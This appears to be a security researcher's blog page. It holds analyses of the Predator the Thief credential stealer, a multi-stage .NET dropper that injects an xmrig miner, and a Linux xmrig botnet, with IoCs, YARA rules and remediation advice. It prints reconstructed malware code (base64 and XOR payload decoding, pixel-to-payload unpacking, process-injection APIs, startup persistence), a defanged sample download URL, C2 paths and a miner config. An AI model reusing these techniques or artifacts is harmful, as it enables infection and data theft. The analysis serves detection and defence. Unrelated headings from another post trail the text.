It's not necessary to have some deeper explanation about what kind of file the stealer will focus on browsers. There is currently a dozen articles that explain how this kind of malware manages to steal web data. I recommend you to read this article made by @coldshell about an example of overview and well detailed. As usual, popular Chrome-based & Firefox-based browsers and also Opera are mainly targeted by Predator. This is the current official list supported by this stealer :

Amigo
BlackHawk
Chromium
Comodo Dragon
Cyberfox
Epic Privacy Browser
Google Chrome
IceCat
K-Meleon
Kometa
Maxthon5
Mozilla Firefox
Nichrome
Opera
Orbitum
Pale Moon
Sputnik
Torch
Vivaldi
Waterfox
Etc...

This one is also using SQLite for extracting data from browsers and using and saved them into a temporary file name "vlmi{lulz}yg.col". So the task is simple :

Stole SQL Browser file
Extract data with the help of SQLite and put into a temporary file
Then read and save it into a text file with a specific name (for each browser).

When forms data or credentials are found they're saved into two files on the General repository :

forms.log
password.log
cards.log

Discord

If discord is detected on the machine, the stealer will search and copy the "https_discordapp_*localstorage" file into the "ptst" folder. This file contains all sensitive information about the account and could permit some authentication without a prompt login if this one is pushed into the correct directory of the attacker machine.

Predator is inspecting multiple places...

This stealer is stealing data from 3 strategical folders :

Desktop
Downloads
Documents

Each time, the task will be the same, it will search 4 type of files with the help of GetFileAttributesA :

*.doc
*.docx
*.txt
*.log

When it matches, they have copied into a folder named "Files".

Information.log

When tasks are done, the malware starts generating a summarize file, who contains some specific and sensitive data from the machine victim beside the file "Information.log". For DFIR, this file is the artifact to identify the name of the malware because it contains the name and the specific version. So first, it writes the Username of the user that has executed the payload, the computer name, and the OS Version.

User name: lolilol
Machine name: Computer 
OS version: Windoge 10

Then copy the content of the clipboard with the help of GetClipBoardData

Current clipboard: 
-------------- 
Omelette du fromage

Let's continue the process...

Startup folder: C:\Users\lolilol\AppData\Local\Temp\predator.exe

Some classic specification about the machine is requested and saved into the file.

CPU info: Some bad CPU | Amount of kernels: 128 (Current CPU usage: 46.112917%) 
GPU info: Fumik0_ graphical display 
Amount of RAM: 12 GB (Current RAM usage: 240 MB) 
Screen resolution: 1900x1005

Then, all the user accounts are indicated

Computer users: 
lolilol 
Administrator 
All Users 
Default 
Default User 
Public

The last part is about some exotics information that is quite awkward in fact... Firstly, for some reasons that I don't want to understand, there is the compile time hardcoded on the payload. Then the second exotic data saved into Information.log is the grabbing execution time for stealing contents from the machine... This information could be useful for debugging some tweaks with the features.

Additional information:
Compile time: Aug 31 2018
Grabbing time: 0.359375 second(s)

C2 Communications

For finishing the information.log, a GET request is made for getting some network data about the victim... First, it set up the request by uncovered some Data like :

A user-agent
The content-type

The API URL ( /api/info.get )

We can have for example this result :

Amsterdam;Netherlands;52.3702;4.89517;51.15.43.205;Europe/Amsterdam;1012;

When the request is done, the data is consolidated step by step with the help of different loops and conditions. When the task is done, there are saved into Information.log

City: Nopeland 
Country: NopeCountry
Coordinates: XX.XXXX N, X.XXXX W 
IP: XXX.XXX.XXX.XXX 
Timezone: Nowhere 
Zip code: XXXXX

The Archive is not complete, it only needs for the stealer to send it to the C2. So now it set up some pieces of information into the gate.get request with specifics arguments, from p1 to p7, for example :

p1: Number of accounts stolen
p2: Number of cookies stolen
p4: Number of forms stolen
etc...

results : The POST request is now complete, the stealer will clean everything and quit.

Example of Predator C2 Panel with fancy background...

Update - v2.3.7

So during the analysis, new versions were pushed... Currently (at the time where this post was redacted), the v3 has been released, but without possession of this specific version, I won't talk anything about it and will me be focus only on the 2.3.7. It's useless to review from scratch, the mechanic of this stealer is still the same, just some tweak or other arrangements was done for multiple purposes... Without digging too much into it, let's see some changes (not all) that I found interesting.

Changelog of v2.3.7 explained by the author

As usual, this is the same patterns :

Code optimizations (Faster / Lightweight)
More features...

As you can see v2.3.7 on the right is much longer than v2.3.5 (left), but the backbone is still the same.

Mutex

On 2.3.7, A mutex is integrated with a specific string called "SyystemServs"

Xor / Obfuscated Strings

During the C2 requests, URL arguments are generated byte per byte and unXOR. For example :

push 04
...
push 61
...
push 70
...

leads to this 
HEX : 046170692F676174652E6765743F70313D
STRING : .api/gate.get?p1=

This is basic and simple but enough to just slow down the review of the strings. but at least, it's really easy to uncover it, so it doesn't matter. This tweak by far is why the code is much longer than v2.3.5.

Loader

Not seen before (as far I saw), it seems on 2.3.7, it integrates a loader feature to push another payload on the victim machine, easily recognizable with the adequate GET Request

/api/download.get

The API request permits to the malware to get an URL into text format. Then Download and saved it into disk and execute it with the help of ShellExecuteA There also some other tweaks, but it's unnecessary to detail on this review, I let you this task by yourself if you are curious :)

IoC

v2.3.5

299f83d5a35f17aa97d40db667a52dcc | Sample Packed
3cb386716d7b90b4dca1610afbd5b146 | Sample Unpacked
kent-adam.myjino.ru | C2 Domain

v2.3.7

cbcc48fe0fa0fd30cb4c088fae582118 | Sample Unpacked
denbaliberdin.myjino.ru | C2 Domain

HTTP Patterns

GET - /api/info.get
POST - /api//gate.get?p1=X&p2=X&p3=X&p4=X&p5=X&p6=X&p7=X
GET - /api/download.get

MITRE ATT&CK

v2.3.5

Discovery - Peripheral Device Discovery
Discovery - System Information Discovery
Discovery - System Time Discovery
Discovery - Query Registry
Credential Access - Credentials in Files
Exfiltration - Data Compressed

v2.3.7

Discovery - Peripheral Device Discovery
Discovery - System Information Discovery
Discovery - System Time Discovery
Discovery - Query Registry
Credential Access - Credentials in Files
Exfiltration - Data Compressed
Execution - Execution through API

Author / Threat Actor

Alexuiop1337

Yara Rule

rule Predator_The_Thief : Predator_The_Thief {
 meta:
 description = "Yara rule for Predator The Thief v2.3.5 & +"
 author = "Fumik0_"
 date = "2018/10/12"
 update = "2018/12/19"

 strings:
 $mz = { 4D 5A }

 // V2
 $hex1 = { BF 00 00 40 06 } 
 $hex2 = { C6 04 31 6B }
 $hex3 = { C6 04 31 63 }
 $hex4 = { C6 04 31 75 }
 $hex5 = { C6 04 31 66 }
 
 $s1 = "sqlite_" ascii wide
 
 // V3
 $x1 = { C6 84 24 ?? ?? 00 00 8C } 
 $x2 = { C6 84 24 ?? ?? 00 00 1A } 
 $x3 = { C6 84 24 ?? ?? 00 00 D4 } 
 $x4 = { C6 84 24 ?? ?? 00 00 03 } 
 $x5 = { C6 84 24 ?? ?? 00 00 B4 } 
 $x6 = { C6 84 24 ?? ?? 00 00 80 }
 
 condition:
 $mz at 0 and 
 ( ( all of ($hex*) and all of ($s*) ) or (all of ($x*)))
}

Recommendations

Always running stuff inside a VM, be sure to install a lot of stuff linked to the hypervisor (like Guest Addons tools) to trigger as much as possible all kind of possible Anti-VM detection and closing malware. When you have done with your activities stop the VM and restore it a Specific clean snapshot when it's done.
Avoid storing files at a pre-destined path (Desktop, Documents, Downloads), put at a place that is not common.
Avoiding Cracks and other stupid fake hacks, stealers are usually behind the current game trendings (especially in those times with Fortnite...).
Use containers for software that you are using, this will reduce the risk of stealing data.
Flush your browser after each visit, never saved your passwords directly on your browser or using auto-fill features.
Don't use the same password for all your websites (use 2FA and it's possible), we are in 2018, and this still sadly everywhere like this.
Make some noise with your data, that will permit to lose some attacker minds to find some accurate values into the junk information.
Use a Vault Password software.
Troll/Not Troll: Learn Russian and put your keyboard in Cyrillic :)

Conclusion

Stealers are not sophisticated malware, but they are enough effective to make some irreversible damage for victims. Email accounts and other credentials are more and more impactful and this will be worse with the years. Behaviors must changes for the account management to limit this kind of scenario. Awareness and good practices are the keys and this will not be a simple security software solution that will solve everything. Well for me I've enough work, it's time to sleep a little... #HappyHunting Update 2018-10-23 : Yara Rules now working also for v3

Some fun with a miner

Mon, 21 May 2018 08:39:17 +0000

A few weeks ago I came across a malware that gave me some interests to dig more into it. It has a curious way to deploy itself, set up a miner on the machine and hide it behind some legit processes. In an example, when we look at Process Hacker :

Visual Basic Compiler is launched without reasons
An awkward child process "Notepad.exe" is consuming a lot of CPU

At first glance, my first thought was "What the heck is going on there ?"

First stage

All begin with a sample available at this address :

hxxp://netload.trade/ghghdshch130.exe

This is a .NET application and starts at this EntryPoint :

static void StatusBarPanelCollection(string[] args) {
	ToolStripItemEventArgs.ExprVisitorBase().EntryPoint.Invoke(null, null);
}

The first thing called behind is an Assembly method named ExprVisitorBase().

public static Assembly ExprVisitorBase() {
 CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
 CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(new CompilerParameters
 {
 IncludeDebugInformation = true,
 GenerateExecutable = false,
 GenerateInMemory = true,
 IncludeDebugInformation = true,
 ReferencedAssemblies = 
 {
 string.Format(.POasdIsd("U3lzdGVtLkRyYXdpbmcuZGxs"), new object[0])
 },
 CompilerOptions = string.Format(.POasdIsd("L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU="), new object[0])
 }, new string[]
 {
 ToolStripItemEventArgs.SizeSoapParameterAttribute.Replace(string.Format(.POasdIsd("I3Jlc25hbWUj"), new object[0]), 
 .POasdIsd("ekp5blhVaktUbFpw")).Replace(string.Format(.POasdIsd("I3Bhc3Mj"), new object[0]), .POasdIsd("VVVlb0NvaXBHdVZj"))
 });
 return compilerResults.CompiledAssembly;
}

This program is going to programmatically compile some code. Indeed, it is possible in .NET to access to the C# compiler with the help of the CSharpCodeProvider class. The call to CompileAssemblyFromSource is where the assembly gets compiled. This method takes the parameters object (CompilerParameters) and the source code, which is a string. First, if we look deeper into the CompilerParameters object, the configuration let us understand that the new program will be a DLL file and there will be no trace on disk. It will require a specific reference to being able to work, but the string is obfuscated and required "POasdIsd" to be decoded.

internal class 
{
 	public static string POasdIsd(string string_0)
	{
		byte[] bytes = Convert.FromBase64String(string_0);
		return Encoding.UTF8.GetString(bytes);
	}
}

It's easy to understand "POasdIsd" is just a Base64decode function, and our encoded string is, in fact, the word "System.Drawing.dll". So this means, this reference is required to compile the source code. If we continue the analysis, it sets some compiler argument. decoded, this will be compiled in debug mode for an x86 platform :

/optimize+ /platform:X86 /debug+ /target:winexe

So now, the only thing needed is the source code and it's stored in the variable SizeSoapParameterAttribute, which is of course also obfuscated by a Base64 encoding and additionally encrypted with a XOR key (5).

public static string SizeSoapParameterAttribute = 
 ToolStripItemEventArgs.ASSEMBLY_FLAGS(
 .POasdIsd("cHZsa2IlVnx2c ... D4ID3gPeCUID3g="), 5
);

If we place some breakpoint on the debugger we can see step by step, the generated c# source code

Give me my source code, please...

When everything is done, the compilation could be done. We can see that with Process Monitor.

Second stage

At this state, the DLL is compiled and loaded on memory. No need to extract and decompiled it because we have the code! So if we look deeper into it, this file contains a lot of spaghetti code, but the main class is easy to find. When we rename some function, it's clearer to understand the goal of this library.

private static string xorKey = "UUeoCoipGuVc";
private static byte[] Payload;

...

private static void Main()
{
 try
 {
 IntPtr hResInfo = Program.FindResource(new IntPtr(0), new IntPtr(138), new IntPtr(23));
 uint size = Program.SizeofResource(new IntPtr(0), hResInfo);
 IntPtr hResData = Program.LoadResource(new IntPtr(0), hResInfo);
 IntPtr source = Program.LockResource(hResData);
 Program.Payload = new byte[size];
 Marshal.Copy(source, Program.Payload, 0, Convert.ToInt32(num));
 Program.Payload = Program.XOR(Program.ConvertFromBmp(Program.Byte2Image(Program.Payload)));
 Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
 thread.Start();
 }
 catch
 {
 }
}

So when it's loaded into memory. It will request an HTML resource (IntPtr(23) is RT_HTML) of the main program, so if you debug this DLL on DNspy, it will crash because it will target a resource that does not exist on it. So let's go back a bit on "ghghdshch130.exe" and inspect .rsrc. We have a curious file with named 138 (which is the Resource ID) So if we inspect it, this is a PNG file, with a 461 x 461 dimension, 8-bit/color RGBA, non-interlaced. So now lets the magic happen... With the code seen as above, this image is converted into a byte array and then again into an image (Bitmap format). The main reason here, its to be able to use ConvertFromBmp, the most important function of the DLL file. The goal is to reorganized properly into memory, the different sections of the payload with the help of BlockCopy. So it will copy pixel per pixel on the correct destination offset with a 4 bytes buffer each time. I clean the code to understand clearly the steps.

private static byte[] ConvertFromBmp(Bitmap imageFile) { 
 int width = imageFile.Width; 
 int correctSize = width * width * 4; 
 byte[] correctOffset = new byte[correctSize]; 
 int size = 0; 
 for (int x = 0; x < width; x++) { 
 for (int y = 0; y < width; y++) { 
 Buffer.BlockCopy(BitConverter.GetBytes(imageFile.GetPixel(x, y).ToArgb()), 0, correctOffset, size, 4); 
 size += 4; 
 } 
 }

 int finalSize = BitConverter.ToInt32(array, 0); 
 byte[] XorPayload = new byte[finalSize]; 
 Buffer.BlockCopy(correctOffset, 4, XorPayload, 0, XorPayload.Length); 
 
 return XorPayload; 
}

So now, our payload is almost done, it has just be decrypted with a specific xor key, in this case, its the value "UUeoCoipGuVc"

internal class Program
{
private static byte[] XOR(byte[] bytes)
{
 byte[] bytes2 = Encoding.Unicode.GetBytes(Program.XorString);
 for (int i = 0; i < bytes.Length; i++)
 {
 int num = i;
 bytes[num] ^= bytes2[i % 16];
 }
 return bytes;
}

When the payload is "finally" created, the assembly object is loaded into a thread.

Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader)); 
thread.Start();

Third Stage

So if you believe that everything is done. Well, unfortunately, you are very wrong ! This is packed/obfuscated... again! Without entering into some madness to understand the code, I note that there are three files right now in the resource folder. Two of them are XOR encrypted payloads and one is a text file with Base64 encoded strings. When we look into the "shitty" code to understand what is the purpose of the text file, this is in fact, a Manifest Resource Stream, a content that is embedded in the assembly at compile time. With some lines of python code, let's see what we have when everything is decoded :

 => python3 manifest.py 
...
'RSRCNAME'
'RSRCPWD'
'Dotwall Evaluation'

The last entry is pretty interesting because it shows us that this stage is in fact packed with Dotwall, a .NET obfuscator that is not available on the public on this day (or it looks like).

So what is the goal of this stage?

First, it copies the first stage on the main user directory and keeps the new path into memory for future purposes. Then delete the alternate stream name Zone.Identifier of this file, so it permits here, to erase its traces to confirm this malware was downloaded from the outside network. Then it sets a persistence trick with an Internet Shortcut file created on Windows startup menu named "rTErod.url"', which could probably explain why the Zone.Identifier task was done above.

[InternetShortcut]
URL=file:///C:/Users/user/bsdsjdpjcqdpcdq.exe

Then, it searches if the visual basic compiler is present on the machine, and inject the resource "rWyMgsOzOKRu" into it. To simplify the way how the program decrypts this file, with all the interaction of different classes and the manifest that leads us to hundreds line of code, I could summarize this with just 10 lines of C# source code.

byte[] buffer = File.ReadAllBytes("xplACLWqdLvY"); // Xor Key 
byte[] bytes = Encoding.Unicode.GetBytes("rWyMgsOzOKRu"); // Encrypted Payload

for (int i = 0; i < buffer.Length; i++) {
 buffer[i] ^= bytes[i % 16];
}

using (var decrypted = new FileStream("decrypted_resource.exe", FileMode.Create, FileAccess.Write)) {
 decrypted.Write(bytes, 0, byteArray.Length);
}

this Assembly is named "adderalldll" and remains to Adderall Protector. After some cleaning, this tool is called by using some reflection. The run() method of the new Object class (Adderall) is invoked with some additional arguments in entries:

@"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
""
DecryptPayload(cryptedResource) // <= Our Final Unpacked Malware
true

Type Adderall_resource = exportedTypes[pos];
object Adderall = Activator.CreateInstance(Adderall_resource);
vbcPath = @"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe";

Adderall_resource.InvokeMember("run", BindingFlags.InvokeMethod, null, Adderall, new object[] {
 vbcPath, 
 "", 
 DecryptPayload(cryptedResource), 
 true 
});

Fourth Stage

So what we have into the adderall.dll? Well... This is obfuscated with Dotwall and It looks like there are no embedded payload resources, just the manifest stream file. It means that we are very close to our final miner malware! So let's see what we have again on the decoded Manifest :

=> python3 manifest.py 
...
'kernel32'
'CreateProcessA'
'kernel32'
'GetThreadContext'
'kernel32'
'Wow64GetThreadContext'
'kernel32'
'SetThreadContext'
'kernel32'
'Wow64SetThreadContext'
'kernel32'
'ReadProcessMemory'
'kernel32'
'WriteProcessMemory'
'ntdll'
'NtUnmapViewOfSection'
'kernel32'
'VirtualAllocEx'
'kernel32'
'ResumeThread'
...
'Dotwall Evaluation'

Typically, we understand that the goal here its execute some process injection and the process vbc.exe will host the malware.

Fifth Stage

So now, that our miner is finally deployed, let's do some analysis on it. The first thing that we see here is that this one is developed in C/C++. The malware is checking if it's running on 32 or 64 bits with the help of IsWow64Process and will decide where it will do some process injection:

If it's 32 bits, the miner will be behind wuapp.exe
If it's 64 bits, the miner will be behind notepad.exe

As below, this is an example of a process injection of notepad.exe behind Winrar.exe, a child process of explorer.exe

It looks like that we have here an xmrig miner at reading the command line if we check directly on the help display, its identical.

 -a, --algo=ALGO cryptonight (default) or cryptonight-lite
 -o, --url=URL URL of mining server
 -O, --userpass=U:P username:password pair for mining server
 -u, --user=USERNAME username for mining server
 -p, --pass=PASSWORD password for mining server
 -t, --threads=N number of miner threads
...
 -c, --config=FILE load a JSON-format configuration file
...

To confirm if it's this specific miner, let's dump memory on base address 0x400000 : Our PE header is erased and compressed with UPX ...and with a quick search, our xmrig miner is right here :)

Miner config Setup

The malware is generating a specific xmrig config file for the victim machine. First, it pushed the miner pool and the user account. Then, the typical xmrig config file is generated and saved into two files "cfg" and cfgi". In this example, the output config file is this :

{{ "algo": "cryptonight", "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "threads": 1, "pools": [ { "url": "xmr.pool.minergate.com:45560", "user": "todipacrypto@protonmail.com", "pass": "x", "keepalive": false, "nicehash": false } ], "api": { "port": 0, "access-token": null, "worker-id": null }}

Persistence

Another persistence is also added at this step, a registry key is created and this entry is periodically checked. The executable file linked with the registry is in the same folder with the miner configurations and this is a legit vbc.exe process :)

So at the end, you are here...

Hiding Method

This malware checks if the task manager is launched. if it matches, it will shutdown notepad.exe process, if the miner is currently executed. Then, the miner will not restart it again as long as taskmgr is still opened.

Summary

We have an executable who compiled and injected itself a DLL
This DLL deploys another executable which was behind a fake PNG file and was also injected into the first payload
In this program, a DLL named Adderall is Invoked, this permits to deploy the unpacked malware into visual basic compiler with the help of RunPE
Our final malware will set up a miner config and injects xmrig into a notepad.exe or wuapp.exe (according to a 32 or 64 bits Operating System).

Yara rules

Xmrig Miner Malware

rule XmrigMinerMalware {
 meta:
 description = "Xmrig Miner Malware"
 author = "Fumik0_"
 date = "2018/05/13"
 strings:
 $mz = "MZ"

 $s1 = "\\cfg" wide ascii
 $s2 = "\\cfgi" wide ascii
 $s3 = "\\notepad.exe" wide ascii
 $s4 = "\\wuapp.exe" wide ascii
 $s5 = "--show-window" wide ascii
 $s6 = "taskmgr.exe" wide ascii
 $s7 = "Miner" wide ascii
 condition:
 $mz at 0 and all of ($s*) 
}

Adderall Protector

rule Adderall {
 meta:
 description = "Adderall Protector"
 author = "Fumik0_"
 date = "2018/05/13"
 strings:
 $mz = "MZ"

 $n1 = "#Blob" wide ascii
 $n2 = "#GUID" wide ascii
 $n3 = "#Strings" wide ascii

 $s1 = "adderalldll" wide ascii
 condition:
 $mz at 0 and (all of ($n*) and $s1)
}

Dotwall Obfuscator

rule DotWall {
 meta:
 description = "Dotwall Obfuscator"
 author = "Fumik0_"
 date = "2018/05/13"
 strings:
 $mz = "MZ"

 $n1 = "#Blob" wide ascii
 $n2 = "#GUID" wide ascii
 $n3 = "#Strings" wide ascii

 $s1 = "RG90d2Fsb" wide ascii
 condition:
 $mz at 0 and (
 all of ($n*) and $s1
 )
}

IoC

todipacrypto@protomail.com _ 517AC5506A5488A1193686F66CB57AD3288C2258C510004EDB2F361B674526CC AA28AA381B935EB98A6B3DEC4C86E1570EF142B041DB4255445C52A81F57A02F 40F5D5BBC054BA193B3D46BA1AE113AC9C9FCAFDDEC52CF02F82C4A22BF9F15F 0C5FC323873FBE693C1FF860282F035AD447050F8EC37FF2E662D087A949DFC9 7C23DA75BA54998363C4E278488F05588FB4E7D8201CCDAA870DD93F0328B911 BECDCC441E29D518D2258F0718000EBD0848ADB4CEFA00223F386A91FDB11677

Conclusion

This miner was pretty cool to reverse for using differents techniques. Good time (and some headaches) to explain and understand the different tasks. Happy Hunting!

Inside one xmrig botnet miner

Wed, 24 Jan 2018 15:12:42 +0000

This post is an extension of this article.

I - Introduction

At the beginning of this year, after some daily IoC Feeds. I was interested in one Linux sample on hybrid-analysis for two reasons :

First, it's quite rare to see some stuff like this on public feeds.
Secondly, the POST requests were basics but it changed from what I read every day.

GET /includes/libraries/files.tar.gz
POST /includes/libraries/notify.php?p=wl

So by curiosity, I checked if there's some additional information, and realized that was an open directory with interesting things.

At this moment, this meme summarizes my reaction :

II - Botnet Architecture

A ) How C&C are chosen?

First of all, our attacker needs to find a server to host his configuration. After some quick search of the different campaigns, C&C are in reality vulnerable servers with ClipBucket installed. Exploit is only designed to setup the server for further activities.

The first step of his setup is stored on /cache/ repository. There is some interesting data like a PHP file named "cookie.php". It's a simple webshell designed to appear if we put the parameter "tooeasy", I guess its some hacking fantasy ¯\_(ツ)_/¯ , so for fun, I decided to call this miner botnet "tooeasy".

Another funny thing, the attacker puts "xmrig", the Monero miner on it! It means even the C&C is used to mine for the attacker, It's really greedy and risky to be spotted by the administrator of the server. When everything is done, the configuration to spread the miner is pushed on /include/librairies/ repository.

B ) Configuration

As shown above, there are only 5 files to spread and monitor the botnet :

1 - manager.sh

This shell script is the most critical file of the botnet, without it, nothing could work perfectly. It permits to push on the infected machine the miner, notify the C&C that everything is working or not. I will not explain all technical interaction of it because it is already explained in the other article.

2 - files.tar.gz

This archive pushed on the victim server is composed of two files :

fs-manager

Our mysterious file is only working on x86-64 Architecture.

file fs-manager 
fs-manager: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=559009c5c0b88e95225aab9ed30adb45e3c7e5ca, stripped

With just a simple string command, we can understand this is just in fact xmrig.

strings fs-manager
...
Usage: xmrig [OPTIONS]
Options:
 -a, --algo=ALGO cryptonight (default) or cryptonight-lite
 -o, --url=URL URL of mining server
 -O, --userpass=U:P username:password pair for mining server
 -u, --user=USERNAME username for mining server
 -p, --pass=PASSWORD password for mining server
 -t, --threads=N number of miner threads
 -v, --av=N algorithm variation, 0 auto select
 -k, --keepalive send keepalived for prevent timeout (need pool support)
 -r, --retries=N number of times to retry before switch to backup server (default: 5)
 -R, --retry-pause=N time to pause between retries (default: 5)
 --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1
 --cpu-priority set process priority (0 idle, 2 normal to 5 highest)
 --no-huge-pages disable huge pages support
 --no-color disable colored output
 --donate-level=N donate level, default 5%% (5 minutes in 100 minutes)
 --user-agent set custom user-agent string for pool
 -B, --background run the miner in the background
 -c, --config=FILE load a JSON-format configuration file
 -l, --log-file=FILE log all output to a file
 -S, --syslog use system log for output messages
 --max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)
 --safe safe adjust threads and av settings for current CPU
 --nicehash enable nicehash support
 --print-time=N print hashrate report every N seconds
 -h, --help display this help and exit
 -V, --version output version information and exit
...

more information here : VirusTotal

config.json

Linked with fs-manager, it's the miner configuration file.

{{ "algo": "cryptonight", "av": 0, "background": true, "colors": false, "cpu-affinity": null, "cpu-priority": null, "donate-level": 2, "log-file": "xmrig.log", "max-cpu-usage": 85, "print-time": 60, "retries": 2, "retry-pause": 3, "safe": false, "syslog": false, "threads": null, "pools": [ { "url": "pool-proxy.com:8080", "user": "user", "pass": "x", "keepalive": true, "nicehash": false } ]}

If you want some additional information, these linked as below could help :

3 - getsetup.php

when the attacker has the ability to have a shell on the infected machine, he makes a "curl" request with a specific argument to indicate which product he exploits :

X.X.X.X - - [DD/MM/YYYY:HH:MM:SS -????] "GET /includes/libraries/getsetup.php?p=PP HTTP/1.1" 200 2931 "-" "curl/X.XX.X"

getsetup.php is linked with manager.sh.

4 - notify.php

this file is used with a simple "curl" request to communicate with the C&C and permits to log the installation and the state of each infected machine. Also over the different campaigns, there is no evolution of it.

$line = '['.date('Y-m-d H:i:s').']'.($product?'['.strtoupper($product).'] ':'').' '.$ip.' ## '.$msg."\n";

$fp = fopen('log.txt', 'a');
fputs($fp, $line);
fclose($fp);

5 - log.txt

As explained just above, this file logged just everything about the activity of the botnet.

B ) How victims are chosen?

All the victim are servers with a database hosted on it. Linux is the only operating system targeted by this botnet and with the description of the configuration detailed as above, this affects only the x86-64 Architecture. Most of the machines are, unfortunately, old unpatched servers with outdated versions of database products. Also, there is a lot of case with machines that were already infected before by other things like ransomware.

Other point, victims are often using factory credentials or weak one for authentications. This simplifies some much the work for attackers. Also, most of the case he used the user account "CouchDB" to execute fs-manager.

https://github.com/apache/couchdb/issues/1074 (one case of a user complaining about a huge CPU usage with fs-manager)

C ) How this botnet works?

1 - Attacker finds a WebServer with ClipBucket installed, this host will be his new C&C and pushed the configuration. 2 - Attacker scan subnet by subnet to find vulnerable database servers and used a different kind of exploits to gain access to them. 3 - When it's done, the victim requests to the C&C (with getsetup.php) and indicate with which product he was pwned, download and execute the shell script, installed the miner with a CRON table and send to the C&C if everything is ok (notify.php). On victim side :

X.X.X.X - - [DD/MM/YYYY:HH:MM:SS -????] "GET /includes/libraries/getsetup.php?p=PP HTTP/1.1" 200 2931 "-" "curl/X.XX.X"
X.X.X.X - - [DD/MM/YYYY:HH:MM:SS -????] "POST /includes/libraries/notify.php?p=PP HTTP/1.1" 200 2 "-" "curl/X.XX.X"
X.X.X.X - - [DD/MM/YYYY:HH:MM:SS -????] "POST /includes/libraries/notify.php?p=PP HTTP/1.1" 200 2 "-" "curl/X.XX.X"
X.X.X.X - - [DD/MM/YYYY:HH:MM:SS -????] "POST /includes/libraries/notify.php?p=PP HTTP/1.1" 200 2 "-" "curl/X.XX.X"

On C&C side :

[DD/MM/YYYY:HH:MM:SS][PP] X.X.X.X ## Cron installed
[DD/MM/YYYY:HH:MM:SS][PP] X.X.X.X ## fs-manager not found
[DD/MM/YYYY:HH:MM:SS][PP] X.X.X.X ## Downloading files
[DD/MM/YYYY:HH:MM:SS][PP] X.X.X.X ## all done

4 - post-traffic communication lead to a mining pool.

III - Botnet Timeline

As far I know, there is (at least) currently 3 identified campaign :

A ) First Campaign (December 2017)

C&C: viewyng[.]com We only understood that the attacker used this website to spread his miner, the configuration leads to the third campaign, no logs are hosted on it. There are still some hints about his activity thanks to Pastebin.

By speculation, I considered based on the second campaign approximately 600 machines were infected by this botnet. Also, based on this post in one mailing list archive, there were some people complaining about it (or this one).

B ) Second Campaign (03/01/2018 - 09/01/2018 Approximately)

C&C: letoscribe[.]ru Between the first & second campaign, everything is exactly the same except the hoster. There is no upgrades or changes to the configuration. At that time, the attacker seems to temporize his botnet. Almost all the victims were from the first campaign, this is easily explained thanks to the logs : To prove that the attacker gains access to a new one :

[DD/MM/YYYY:HH:MM:SS][SF] X.X.X.X ## Cron installed
[DD/MM/YYYY:HH:MM:SS][SF] X.X.X.X ## fs-manager not found
[DD/MM/YYYY:HH:MM:SS][SF] X.X.X.X ## Downloading files
[DD/MM/YYYY:HH:MM:SS][SF] X.X.X.X ## all done

When the attacker re-infects a victim to push the new config :

[DD/MM/YYYY:HH:MM:SS][PP] X.X.X.X ## Cron installed
[DD/MM/YYYY:HH:MM:SS][PP] X.X.X.X ## fs-manager found
[DD/MM/YYYY:HH:MM:SS][PP] X.X.X.X ## all done

Product targeted

A least there is 3 different products identified (for almost 700 machines) :

WL : WebLogic (explained on the other article)
SL : Unknown 
SF : Unknown but this is linked with CouchDB

The repartition is really contrasted. "SF" represents more than the half of the victims, "SL" 28 % and WebLogic is only 17%.

How it ends?

After the publication of the article quoted as the beginning of this post, my investigations were shut down because the domain was suspended. So, no more data to understand well this botnet.

C ) Third Campaign (13/01/2018 - Present)

C&C: ### Magic ### The current one is interesting because as far I saw, It targets two products and contrary to the second campaign, this one is heavily active to spread the miner to new machines. WebLogic is not used and this probably caused by all the news about at the beginning of this year. At the time, there are approximately 1000~ machines infected by this botnet. "SF" products seem to be pwnd manually (or slowly), on the other hand, "SL" are heavily pwnd by scan ranged.

IV - Is there some information about the attacker?

It's quite hard to understand well who is behind this (even if he's alone or not), but we have some hints. First for the third campaign. there is an interesting line that is completely different from the other. The day before the "effective" activity of the botnet, some tests were done to check if everything was working well.

[2018-01-13 18:19:49][T] 188.69.192.107 ## nope

The IP is Lithuanian, but it's quite hard to qualify this data because it might be a proxy or a VPN. Secondly, on the source code on the panel, there is on IP that is automatically skipped if it's pwnd :

$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == '199.87.232.5') die('Ok');

After a quick check on shodan.io, This server is hosted on eSited

Remediation

if you are a victim of this miner

Kill fs-manager, xmrig
Clean your CRON Table
Change your admin credentials
Reset your "couchdb" account
Update your system and these packages :
- ClipBucket
- Apache CouchDB
- WebLogic

Prevention / Anticipation

Add an alert when the CPU usage is too high
Install a file and directory integrity checker (like AIDE)
Establish a mining pool proxy blacklist
Don't use default password or weak one for admin database accounts

IoC

7153ac617df7aa6f911e361b1f0c8188ca5c142c6aaa8faa2a59b55e0b823c1c
a3bbc8d3c4a950fa0b0def4109a07e9d01bae157781ff7a4b07910340e021dc7
3168fb6a817615eef3d65769f19dcaff890fc2142c35fcebc4a35e78dee2c3f3
8572208664eede5fa939bad4cfa6185c8f8db13880b560c845c65a34d12d1ad0
50538b351d2ec3d1c6531298caac5b3bbd129b6f1ae9904c92aa1ac8ab37f04d
f8d6cb1554e5826ebbf33213b37d5b31891f052784054a859de8591ee3084884

Happy hunting ! (special thanks to @benkow)

Fumik0

Hack Yourself: Reversing the Program That Came Without a Manual

Why I started

Hack, the old meaning

A program with no manual

Report: ME.exe

critic() Inner critic

learn() Learning

health() Health

tinker() Tinkering

friends() Friends

fun() Fun

Detection

Watching it run

What the log showed

The breakpoint

Small patches, no rewrite

Why a small patch feels like nothing

The skills did not die

The export table

The questions from the opening

Release notes

Next version

Sources

Image credits

You're Not the Worst One Here

Bots talking to bots, and you're watching

